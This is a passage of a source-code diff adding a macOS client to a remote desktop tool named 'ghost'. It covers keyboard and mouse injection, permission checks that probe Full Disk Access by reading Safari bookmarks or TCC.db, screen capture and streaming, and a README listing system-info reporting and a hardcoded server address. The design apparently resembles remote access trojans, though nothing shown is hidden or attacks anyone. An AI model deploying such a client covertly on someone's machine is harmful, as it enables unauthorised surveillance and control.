#define WM_KEYUP 0x0101
#define WM_SYSKEYDOWN 0x0104
#define WM_SYSKEYUP 0x0105
// Windows wheel delta extraction
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16))
// MSG64 structure (compatible with Windows/Linux)
#pragma pack(push, 1)
struct MSG64_MAC {
uint64_t hwnd;
uint64_t message;
uint64_t wParam;
uint64_t lParam;
uint64_t time;
int32_t pt_x;
int32_t pt_y;
};
#pragma pack(pop)
class InputHandler {
public:
InputHandler();
~InputHandler();
// Initialize (checks accessibility permission)
bool init();
// Handle input event from server
void handleInputEvent(const MSG64_MAC* msg);
// Check if accessibility permission is available
bool hasAccessibilityPermission() const { return m_hasPermission; }
private:
// Mouse event helpers
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
// Keyboard event helpers
void handleKeyEvent(uint32_t vkCode, bool down);
// Convert Windows VK code to macOS key code
static CGKeyCode vkToMacKeyCode(uint32_t vk);
private:
std::atomic<bool> m_hasPermission{false};
std::atomic<bool> m_warningLogged{false};
// Track button states for CGEvent (atomic for thread safety)
CGPoint m_lastMousePos;
std::atomic<bool> m_leftButtonDown{false};
std::atomic<bool> m_rightButtonDown{false};
std::atomic<bool> m_middleButtonDown{false};
// Track modifier key states for proper key event handling
std::atomic<CGEventFlags> m_modifierFlags{0};
};

396
macos/InputHandler.mm Normal file
View File

@@ -0,0 +1,396 @@
#import "InputHandler.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#include <unistd.h> // for usleep
InputHandler::InputHandler()
: m_lastMousePos(CGPointZero)
{
// atomic members are initialized in class declaration
}
InputHandler::~InputHandler()
{
}
bool InputHandler::init()
{
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
NSLog(@"InputHandler: Accessibility permission not granted");
// Request permission (shows system dialog)
Permissions::requestAccessibility();
}
return m_hasPermission;
}
void InputHandler::handleInputEvent(const MSG64_MAC* msg)
{
if (!m_hasPermission) {
// Re-check permission
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
if (!m_warningLogged) {
NSLog(@"InputHandler: Cannot handle input - no accessibility permission");
m_warningLogged = true;
}
return;
}
m_warningLogged = false;
}
uint32_t message = (uint32_t)msg->message;
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg->lParam & 0xFFFF);
int y = (int)((msg->lParam >> 16) & 0xFFFF);
switch (message) {
// Mouse movement
case WM_MOUSEMOVE:
handleMouseMove(x, y);
break;
// Left button
case WM_LBUTTONDOWN:
handleMouseButton(kCGMouseButtonLeft, true, x, y);
break;
case WM_LBUTTONUP:
handleMouseButton(kCGMouseButtonLeft, false, x, y);
break;
case WM_LBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonLeft, x, y);
break;
// Right button
case WM_RBUTTONDOWN:
handleMouseButton(kCGMouseButtonRight, true, x, y);
break;
case WM_RBUTTONUP:
handleMouseButton(kCGMouseButtonRight, false, x, y);
break;
case WM_RBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonRight, x, y);
break;
// Middle button
case WM_MBUTTONDOWN:
handleMouseButton(kCGMouseButtonCenter, true, x, y);
break;
case WM_MBUTTONUP:
handleMouseButton(kCGMouseButtonCenter, false, x, y);
break;
case WM_MBUTTONDBLCLK:
handleMouseDoubleClick(kCGMouseButtonCenter, x, y);
break;
// Mouse wheel
case WM_MOUSEWHEEL: {
short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam);
handleMouseWheel(delta);
break;
}
// Keyboard
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
handleKeyEvent((uint32_t)msg->wParam, true);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
handleKeyEvent((uint32_t)msg->wParam, false);
break;
}
}
void InputHandler::handleMouseMove(int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType = kCGEventMouseMoved;
CGMouseButton button = kCGMouseButtonLeft;
// If button is held, use drag event
if (m_leftButtonDown) {
eventType = kCGEventLeftMouseDragged;
button = kCGMouseButtonLeft;
} else if (m_rightButtonDown) {
eventType = kCGEventRightMouseDragged;
button = kCGMouseButtonRight;
} else if (m_middleButtonDown) {
eventType = kCGEventOtherMouseDragged;
button = kCGMouseButtonCenter;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y)
{
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType eventType;
switch (button) {
case kCGMouseButtonLeft:
eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
m_leftButtonDown = down;
break;
case kCGMouseButtonRight:
eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp;
m_rightButtonDown = down;
break;
case kCGMouseButtonCenter:
default:
eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
m_middleButtonDown = down;
break;
}
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
if (event) {
// clickState=1 for all single clicks
CGEventSetIntegerValueField(event, kCGMouseEventClickState, 1);
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y)
{
// WM_LBUTTONDBLCLK represents the second click of a double-click.
// The first click was already sent via WM_LBUTTONDOWN/WM_LBUTTONUP.
//
// We send complete down(2) + up(2) here because:
// - Web client: dblclick fires AFTER mouseup, no subsequent WM_LBUTTONUP
// - MFC client: WM_LBUTTONUP follows, but extra up(1) is harmless
CGPoint point = CGPointMake(x, y);
m_lastMousePos = point;
CGEventType downType, upType;
switch (button) {
case kCGMouseButtonLeft:
downType = kCGEventLeftMouseDown;
upType = kCGEventLeftMouseUp;
break;
case kCGMouseButtonRight:
downType = kCGEventRightMouseDown;
upType = kCGEventRightMouseUp;
break;
case kCGMouseButtonCenter:
default:
downType = kCGEventOtherMouseDown;
upType = kCGEventOtherMouseUp;
break;
}
// Send second click: down(2) + up(2)
CGEventRef down = CGEventCreateMouseEvent(NULL, downType, point, button);
CGEventRef up = CGEventCreateMouseEvent(NULL, upType, point, button);
if (down) {
CGEventSetIntegerValueField(down, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, down);
CFRelease(down);
}
if (up) {
CGEventSetIntegerValueField(up, kCGMouseEventClickState, 2);
CGEventPost(kCGHIDEventTap, up);
CFRelease(up);
}
// Note: For MFC client, an extra WM_LBUTTONUP will follow (sending up(1)),
// but this is harmless since mouse is already up.
}
void InputHandler::handleMouseWheel(int delta)
{
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
// Using pixel units provides smoother scrolling than line units
// Windows: 120 = one standard notch
// macOS: approximately 10 pixels per notch feels natural
int32_t scrollAmount = (delta * 10) / 120;
// Use pixel units for smoother scrolling experience
CGEventRef event = CGEventCreateScrollWheelEvent(
NULL,
kCGScrollEventUnitPixel,
1,
scrollAmount
);
if (event) {
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
void InputHandler::handleKeyEvent(uint32_t vkCode, bool down)
{
CGKeyCode keyCode = vkToMacKeyCode(vkCode);
if (keyCode == 0xFF) {
return; // Unknown key
}
// Update modifier flags based on key
CGEventFlags flag = 0;
switch (keyCode) {
case kVK_Shift:
case kVK_RightShift:
flag = kCGEventFlagMaskShift;
break;
case kVK_Control:
case kVK_RightControl:
flag = kCGEventFlagMaskControl;
break;
case kVK_Option:
case kVK_RightOption:
flag = kCGEventFlagMaskAlternate;
break;
case kVK_Command:
case kVK_RightCommand:
flag = kCGEventFlagMaskCommand;
break;
case kVK_CapsLock:
flag = kCGEventFlagMaskAlphaShift;
break;
}
if (flag) {
CGEventFlags current = m_modifierFlags.load();
if (down) {
m_modifierFlags.store(current | flag);
} else {
m_modifierFlags.store(current & ~flag);
}
}
CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
if (event) {
// Set current modifier flags to ensure proper key combinations
CGEventSetFlags(event, m_modifierFlags.load());
CGEventPost(kCGHIDEventTap, event);
CFRelease(event);
}
}
// Convert Windows VK code to macOS key code
// Reference: Carbon/HIToolbox/Events.h
CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk)
{
// Letters A-Z (VK 0x41-0x5A)
if (vk >= 0x41 && vk <= 0x5A) {
// macOS key codes for A-Z are not sequential
static const CGKeyCode letterKeys[] = {
kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E,
kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J,
kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O,
kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T,
kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y,
kVK_ANSI_Z
};
return letterKeys[vk - 0x41];
}
// Numbers 0-9 (VK 0x30-0x39)
if (vk >= 0x30 && vk <= 0x39) {
static const CGKeyCode numberKeys[] = {
kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4,
kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9
};
return numberKeys[vk - 0x30];
}
// Numpad 0-9 (VK 0x60-0x69)
if (vk >= 0x60 && vk <= 0x69) {
static const CGKeyCode numpadKeys[] = {
kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2,
kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5,
kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8,
kVK_ANSI_Keypad9
};
return numpadKeys[vk - 0x60];
}
// F1-F12 (VK 0x70-0x7B)
if (vk >= 0x70 && vk <= 0x7B) {
static const CGKeyCode fKeys[] = {
kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6,
kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12
};
return fKeys[vk - 0x70];
}
// Special keys
switch (vk) {
case 0x08: return kVK_Delete; // VK_BACK (Backspace)
case 0x09: return kVK_Tab; // VK_TAB
case 0x0D: return kVK_Return; // VK_RETURN
case 0x10: return kVK_Shift; // VK_SHIFT
case 0x11: return kVK_Control; // VK_CONTROL
case 0x12: return kVK_Option; // VK_MENU (Alt -> Option)
case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent)
case 0x14: return kVK_CapsLock; // VK_CAPITAL
case 0x1B: return kVK_Escape; // VK_ESCAPE
case 0x20: return kVK_Space; // VK_SPACE
case 0x21: return kVK_PageUp; // VK_PRIOR
case 0x22: return kVK_PageDown; // VK_NEXT
case 0x23: return kVK_End; // VK_END
case 0x24: return kVK_Home; // VK_HOME
case 0x25: return kVK_LeftArrow; // VK_LEFT
case 0x26: return kVK_UpArrow; // VK_UP
case 0x27: return kVK_RightArrow; // VK_RIGHT
case 0x28: return kVK_DownArrow; // VK_DOWN
case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen)
case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac)
case 0x2E: return kVK_ForwardDelete; // VK_DELETE
// Windows keys -> Command
case 0x5B: return kVK_Command; // VK_LWIN
case 0x5C: return kVK_RightCommand; // VK_RWIN
// Numpad operators
case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY
case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD
case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT
case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL
case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE
// Lock keys
case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac)
case 0x91: return kVK_F14; // VK_SCROLL
// Shift variants
case 0xA0: return kVK_Shift; // VK_LSHIFT
case 0xA1: return kVK_RightShift; // VK_RSHIFT
case 0xA2: return kVK_Control; // VK_LCONTROL
case 0xA3: return kVK_RightControl; // VK_RCONTROL
case 0xA4: return kVK_Option; // VK_LMENU
case 0xA5: return kVK_RightOption; // VK_RMENU
// OEM keys (US keyboard layout)
case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:)
case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+)
case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<)
case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_)
case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>)
case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?)
case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~)
case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{)
case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|)
case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]})
case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('")
default:
return 0xFF; // Unknown key
}
}

43
macos/Permissions.h Normal file
View File

@@ -0,0 +1,43 @@
#pragma once
#import <Foundation/Foundation.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
class Permissions {
public:
// Check if screen recording permission is granted
// Returns true if granted, false otherwise
static bool checkScreenCapture();
// Request screen recording permission (shows system dialog, macOS 10.15+)
static void requestScreenCapture();
// Check if accessibility permission is granted (for input simulation)
// Returns true if granted, false otherwise
static bool checkAccessibility();
// Request accessibility permission (shows system dialog)
static void requestAccessibility();
// Open System Preferences to Screen Recording settings
static void openScreenCaptureSettings();
// Open System Preferences to Accessibility settings
static void openAccessibilitySettings();
// Check if Full Disk Access permission is granted
// Returns true if granted, false otherwise
static bool checkFullDiskAccess();
// Open System Preferences to Full Disk Access settings
static void openFullDiskAccessSettings();
// Check all required permissions
// Returns true if all permissions are granted
static bool checkAllPermissions();
// Wait for permissions to be granted (blocking)
// Returns true if all granted within timeout, false otherwise
static bool waitForPermissions(int timeoutSeconds);
};

107
macos/Permissions.mm Normal file
View File

@@ -0,0 +1,107 @@
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
bool Permissions::checkScreenCapture() {
// macOS 10.15+ requires screen recording permission
if (@available(macOS 10.15, *)) {
// Use CGPreflightScreenCaptureAccess for reliable permission check
// This API is available since macOS 10.15
return CGPreflightScreenCaptureAccess();
}
// Before 10.15, no permission needed
return true;
}
void Permissions::requestScreenCapture() {
if (@available(macOS 10.15, *)) {
// Trigger system permission dialog
CGRequestScreenCaptureAccess();
}
}
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
void Permissions::openScreenCaptureSettings() {
if (@available(macOS 10.15, *)) {
// Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
}
void Permissions::openAccessibilitySettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Accessibility
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkFullDiskAccess() {
// There's no official API to check Full Disk Access.
// Try to actually read a protected file that requires FDA.
NSString* testPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Safari/Bookmarks.plist"];
NSFileManager* fm = [NSFileManager defaultManager];
if ([fm fileExistsAtPath:testPath]) {
// Try to actually read the file (more reliable than isReadableFileAtPath)
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read Safari bookmarks)");
return true;
} else {
NSLog(@"FDA check: FAILED (Safari bookmarks exists but unreadable)");
return false;
}
}
// Safari bookmarks doesn't exist, try TCC database
testPath = @"/Library/Application Support/com.apple.TCC/TCC.db";
if ([fm fileExistsAtPath:testPath]) {
NSData* data = [NSData dataWithContentsOfFile:testPath];
if (data != nil) {
NSLog(@"FDA check: OK (can read TCC.db)");
return true;
} else {
NSLog(@"FDA check: FAILED (TCC.db exists but unreadable)");
return false;
}
}
// No test files exist, assume OK
NSLog(@"FDA check: SKIPPED (no test files found)");
return true;
}
void Permissions::openFullDiskAccessSettings() {
// Open System Preferences -> Security & Privacy -> Privacy -> Full Disk Access
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles"];
[[NSWorkspace sharedWorkspace] openURL:url];
}
bool Permissions::checkAllPermissions() {
return checkScreenCapture() && checkAccessibility() && checkFullDiskAccess();
}
bool Permissions::waitForPermissions(int timeoutSeconds) {
int elapsed = 0;
while (elapsed < timeoutSeconds) {
if (checkAllPermissions()) {
return true;
}
[NSThread sleepForTimeInterval:1.0];
elapsed++;
}
return false;
}

61
macos/README.txt Normal file
View File

@@ -0,0 +1,61 @@
macOS Remote Desktop Client
===========================
Prerequisites:
1. Xcode Command Line Tools: xcode-select --install
2. CMake: brew install cmake
Build:
chmod +x build.sh
./build.sh
Or manually:
mkdir build && cd build
cmake ..
make
Run:
./build/bin/ghost
Configuration:
Server address is configured in main.mm (g_SETTINGS variable).
Modify before building if needed.
Permissions Required:
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
2. Accessibility - System Settings > Privacy & Security > Accessibility
Features:
[x] Screen capture (CGDisplayCreateImage)
[x] H264 video encoding (VideoToolbox)
[x] Mouse control (move, click, drag, scroll)
[x] Keyboard control (full VK code mapping)
[x] Retina display support (coordinate scaling)
[x] Network connection (IOCPClient)
[x] LOGIN_INFOR (system info reporting)
[x] Heartbeat with RTT estimation
[x] Active window tracking
[x] Quality level adjustment (FPS/algorithm)
Files:
CMakeLists.txt - Build configuration
Permissions.h/mm - macOS permission handling
ScreenHandler.h/mm - Screen capture and H264 encoding
InputHandler.h/mm - Mouse/keyboard simulation
H264Encoder.h/mm - VideoToolbox H264 encoder
SystemManager.h/mm - Process management
main.mm - Entry point, LOGIN_INFOR, heartbeat
Quality Levels:
Level 0: 5 FPS, Grayscale (emergency low bandwidth)
Level 1: 10 FPS, RGB565
Level 2: 15 FPS, H264 (default, office work)
Level 3: 20 FPS, H264
Level 4: 25 FPS, H264
Level 5: 30 FPS, H264 (smooth)
Notes:
- First frame is always raw bitmap (TOKEN_FIRSTSCREEN)
- Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN)
- Coordinates are scaled for Retina displays automatically
- Windows VK codes are mapped to macOS key codes

135
macos/ScreenHandler.h Normal file
View File

@@ -0,0 +1,135 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#import <dispatch/dispatch.h>
#import "../client/IOCPClient.h"
#include <vector>
#include <atomic>
#include <mutex>
#include <thread>
#include <cstdint>
#include <memory>
// Forward declarations
class IOCPClient;
class H264Encoder;
class InputHandler;
// macOS BITMAPINFOHEADER (compatible with Windows)
#pragma pack(push, 1)
struct BITMAPINFOHEADER_MAC {
uint32_t biSize; // 40
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes; // 1
uint16_t biBitCount; // 32
uint32_t biCompression; // 0 (BI_RGB)
uint32_t biSizeImage;
int32_t biXPelsPerMeter; // 0
int32_t biYPelsPerMeter; // 0
uint32_t biClrUsed; // 0
uint32_t biClrImportant; // 0
};
#pragma pack(pop)
// Screen algorithm constants
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define ALGORITHM_RGB565 3
class ScreenHandler : public IOCPManager {
public:
ScreenHandler(IOCPClient* client);
~ScreenHandler();
// Initialize screen capture (returns false if permission denied)
bool init();
// Start/stop capture loop
void start(IOCPClient* client, uint64_t clientID);
void stop();
// Check if running
bool isRunning() const { return m_running; }
// Get screen dimensions
int getWidth() const { return m_width; }
int getHeight() const { return m_height; }
// Send bitmap info to server (called after connection)
void sendBitmapInfo();
// Handle received commands
void OnReceive(uint8_t* data, ULONG size);
// Apply quality level
void applyQualityLevel(int8_t level, bool persist = false);
private:
// Capture the screen (returns BGRA data, bottom-up)
bool captureScreen(std::vector<uint8_t>& buffer);
// Send first full screen frame
void sendFirstScreen();
// Send differential frame
void sendDiffFrame();
// Send H264 encoded frame
void sendH264Frame(bool keyframe);
// Compare bitmaps and generate diff data
uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo);
// Color conversion helpers
void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount);
void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount);
// Capture loop thread function
void captureLoop();
// Get current time in milliseconds
static uint64_t getTickMs();
// Get current cursor position (in physical pixels)
void getCursorPosition(int32_t& x, int32_t& y);
// Get current cursor type index (matches Windows cursor indices)
uint8_t getCursorTypeIndex();
private:
IOCPClient* m_client;
uint64_t m_clientID;
std::atomic<bool> m_running;
std::thread m_captureThread;
std::mutex m_mutex;
// Screen info
int m_width; // Physical pixel width (sent to server)
int m_height; // Physical pixel height (sent to server)
int m_logicalWidth; // Logical point width (for CGEvent)
int m_logicalHeight; // Logical point height (for CGEvent)
double m_scaleFactor; // Retina scale factor (physical / logical)
CGDirectDisplayID m_displayID;
// Protocol
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame;
std::vector<uint8_t> m_currFrame;
std::vector<uint8_t> m_diffBuffer;
// Quality settings
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
int8_t m_qualityLevel;
// H264 encoder
std::unique_ptr<H264Encoder> m_h264Encoder;
int m_h264Bitrate;
// Input handler for mouse/keyboard control
std::unique_ptr<InputHandler> m_inputHandler;
};

691
macos/ScreenHandler.mm Normal file
View File

@@ -0,0 +1,691 @@
#import "ScreenHandler.h"
#import "H264Encoder.h"
#import "InputHandler.h"
#import "../client/IOCPClient.h"
#import "../common/commands.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h>
#import <mach/mach_time.h>
// Global client ID (calculated in main.mm)
extern uint64_t g_myClientID;
ScreenHandler::ScreenHandler(IOCPClient* client)
: m_client(client)
, m_clientID(0)
, m_running(false)
, m_width(0)
, m_height(0)
, m_logicalWidth(0)
, m_logicalHeight(0)
, m_scaleFactor(1.0)
, m_displayID(CGMainDisplayID())
, m_algorithm(ALGORITHM_H264)
, m_maxFPS(15)
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
{
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
// Initialize input handler for mouse/keyboard control
m_inputHandler = std::make_unique<InputHandler>();
if (m_inputHandler->init()) {
NSLog(@"InputHandler initialized with accessibility permission");
} else {
NSLog(@"InputHandler: waiting for accessibility permission");
}
}
ScreenHandler::~ScreenHandler()
{
stop();
}
bool ScreenHandler::init()
{
// Check permissions
if (!Permissions::checkScreenCapture()) {
NSLog(@"Screen capture permission not granted");
return false;
}
// Get main display info
m_displayID = CGMainDisplayID();
// Get physical pixel dimensions (what we capture and send)
CGDisplayModeRef mode = CGDisplayCopyDisplayMode(m_displayID);
if (mode) {
m_width = (int)CGDisplayModeGetPixelWidth(mode);
m_height = (int)CGDisplayModeGetPixelHeight(mode);
CGDisplayModeRelease(mode);
} else {
m_width = (int)CGDisplayPixelsWide(m_displayID);
m_height = (int)CGDisplayPixelsHigh(m_displayID);
}
// Get logical point dimensions (what CGEvent uses)
// NSScreen provides logical dimensions
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
m_logicalWidth = (int)frame.size.width;
m_logicalHeight = (int)frame.size.height;
} else {
// Fallback: use physical dimensions
m_logicalWidth = m_width;
m_logicalHeight = m_height;
}
// Calculate scale factor (Retina displays have factor > 1.0)
m_scaleFactor = (double)m_width / (double)m_logicalWidth;
NSLog(@"Screen dimensions: physical=%dx%d, logical=%dx%d, scale=%.2f",
m_width, m_height, m_logicalWidth, m_logicalHeight, m_scaleFactor);
if (m_width <= 0 || m_height <= 0) {
NSLog(@"Invalid screen dimensions: %dx%d", m_width, m_height);
return false;
}
// Initialize BITMAPINFOHEADER
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
m_bmpHeader.biWidth = m_width;
m_bmpHeader.biHeight = m_height;
m_bmpHeader.biPlanes = 1;
m_bmpHeader.biBitCount = 32;
m_bmpHeader.biCompression = 0; // BI_RGB
m_bmpHeader.biSizeImage = m_width * m_height * 4;
// Allocate frame buffers
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
return true;
}
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
{
if (m_running) return;
m_client = client;
m_clientID = clientID;
m_running = true;
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
}
void ScreenHandler::stop()
{
m_running = false;
if (m_captureThread.joinable()) {
m_captureThread.join();
}
// Close H264 encoder if open
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
}
void ScreenHandler::sendBitmapInfo()
{
if (!m_client) return;
// Build packet: [TOKEN_BITMAPINFO][BITMAPINFOHEADER][clientID][reserved][ScreenSettings]
// ScreenSettings defined in commands.h (100 bytes), QualityLevel at offset 32
const uint32_t len = 1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(len, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_MAC));
uint64_t clientID = g_myClientID;
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC)], &clientID, sizeof(uint64_t));
ScreenSettings settings = {};
settings.MaxFPS = m_maxFPS.load();
settings.QualityLevel = m_qualityLevel; // Fixed quality level (e.g., QUALITY_GOOD = 2)
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings));
m_client->Send2Server((char*)buf.data(), len);
NSLog(@"SendBitmapInfo: clientID=%llu, QualityLevel=%d, SettingsSize=%zu",
clientID, m_qualityLevel, sizeof(ScreenSettings));
}
void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
{
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// Server ready, handled externally
NSLog(@"Received COMMAND_NEXT from server");
if (!m_running) {
start(m_client, g_myClientID);
}
break;
case COMMAND_SCREEN_CONTROL:
// Handle mouse/keyboard control commands
// Protocol: [COMMAND_SCREEN_CONTROL:1][MSG64:48]
if (size >= 1 + sizeof(MSG64_MAC) && m_inputHandler) {
MSG64_MAC msg;
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
// Convert physical pixel coordinates to logical point coordinates
// Server sends coordinates in physical pixels (matching our captured screen)
// CGEvent expects logical points (for Retina displays, physical/scale)
if (m_scaleFactor > 1.0) {
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
int x = (int)(msg.lParam & 0xFFFF);
int y = (int)((msg.lParam >> 16) & 0xFFFF);
// Scale down to logical coordinates
x = (int)(x / m_scaleFactor);
y = (int)(y / m_scaleFactor);
// Update lParam with scaled coordinates
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
msg.pt_x = x;
msg.pt_y = y;
}
m_inputHandler->handleInputEvent(&msg);
}
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) {
int8_t level = (int8_t)data[1];
bool persist = (size >= 3) ? data[2] : false;
applyQualityLevel(level, persist);
}
break;
default:
break;
}
}
void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
{
m_qualityLevel = level;
if (level == QUALITY_DISABLED) {
NSLog(@"Quality: Disabled");
return;
}
// Quality profiles: [FPS, Algorithm]
// H264 provides best compression for remote desktop
// Note: macOS uses slightly higher FPS than Windows for smoother experience
static const int profiles[QUALITY_COUNT][2] = {
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
{10, ALGORITHM_RGB565}, // Level 1: Low
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
{20, ALGORITHM_H264}, // Level 3: Good
{25, ALGORITHM_H264}, // Level 4: High
{30, ALGORITHM_H264}, // Level 5: Smooth
};
if (level >= 0 && level < QUALITY_COUNT) {
m_maxFPS.store(profiles[level][0]);
m_algorithm.store(profiles[level][1]);
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
} else {
NSLog(@"Quality: Adaptive mode");
}
}
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
{
// Create image from display
CGImageRef image = CGDisplayCreateImage(m_displayID);
if (!image) {
NSLog(@"Failed to capture screen image");
return false;
}
